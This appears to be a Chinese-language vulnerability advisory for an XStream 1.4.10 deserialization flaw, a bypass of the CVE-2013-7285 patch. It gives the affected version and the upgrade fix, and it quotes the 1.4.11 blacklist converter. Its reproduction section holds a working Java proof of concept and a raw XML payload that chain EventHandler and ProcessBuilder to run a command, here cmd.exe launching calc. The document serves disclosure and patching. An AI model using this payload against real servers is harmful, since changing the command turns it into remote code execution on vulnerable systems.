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119 lines
3.3 KiB
Markdown
119 lines
3.3 KiB
Markdown
## 前言
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XStream是常用的Java类库，用来将对象序列化成XML （JSON）或反序列化为对象。
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## 漏洞简介
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Xstream 1.4.10版本存在反序列化漏洞CVE-2013-7285补丁绕过。
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## 漏洞危害
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当使用Xstream 1.4.10版本且未对安全框架进行初始化时，攻击者即可通过精心构造的请求包在使用Xstream的服务器上进行远程代码执行。
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## 影响范围
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### 产品
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> Xstream
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### 版本
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> Xstream1.4.10版本
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### 组件
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> Xstream
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## 漏洞复现
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### PoC
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```java
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package com.bigo;
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import com.thoughtworks.xstream.XStream;
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import java.beans.EventHandler;
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import java.io.IOException;
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import java.util.Set;
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import java.util.TreeSet;
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/**
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* Created by cfchi on 2019/7/26.
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*/
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public class Main {
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public static String expGen(){
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XStream xstream = new XStream();
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Set<Comparable> set = new TreeSet<Comparable>();
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set.add("foo");
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set.add(EventHandler.create(Comparable.class, new ProcessBuilder("calc"), "start"));
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String payload = xstream.toXML(set);
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System.out.println(payload);
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return payload;
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}
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public static void main(String[] args) throws IOException {
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expGen();
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XStream xStream = new XStream();
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String payload = "<sorted-set>\n" +
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" <string>foo</string>\n" +
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" <dynamic-proxy>\n" +
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" <interface>java.lang.Comparable</interface>\n" +
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" <handler class=\"java.beans.EventHandler\">\n" +
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" <target class=\"java.lang.ProcessBuilder\">\n" +
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" <command>\n" +
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" <string>cmd.exe</string>\n" +
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" <string>/c</string>\n" +
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" <string>calc</string>\n" +
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" </command>\n" +
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" </target>\n" +
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" <action>start</action>"+
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" </handler>\n" +
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" </dynamic-proxy>\n" +
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"</sorted-set>\n";
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xStream.fromXML(payload);
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}
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}
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```
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### 1.4.7版本白名单
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### 1.4.10版本，黑名单未开启
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### 1.4.11版本，黑名单开启
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> blacklist
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```java
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private class InternalBlackList implements Converter {
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private InternalBlackList() {
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}
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public boolean canConvert(Class type) {
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return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
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}
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public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
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throw new ConversionException("Security alert. Marshalling rejected.");
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}
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public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
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throw new ConversionException("Security alert. Unmarshalling rejected.");
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}
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}
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```
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## 修复方案
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> 升级Xstream到1.4.11版本
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## 参考
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https://mp.weixin.qq.com/s/bght8tIwtNqnaidVZjPdSw
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http://x-stream.github.io/changes.html#1.4.11
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> 原文：http://www.polaris-lab.com/index.php/archives/658/
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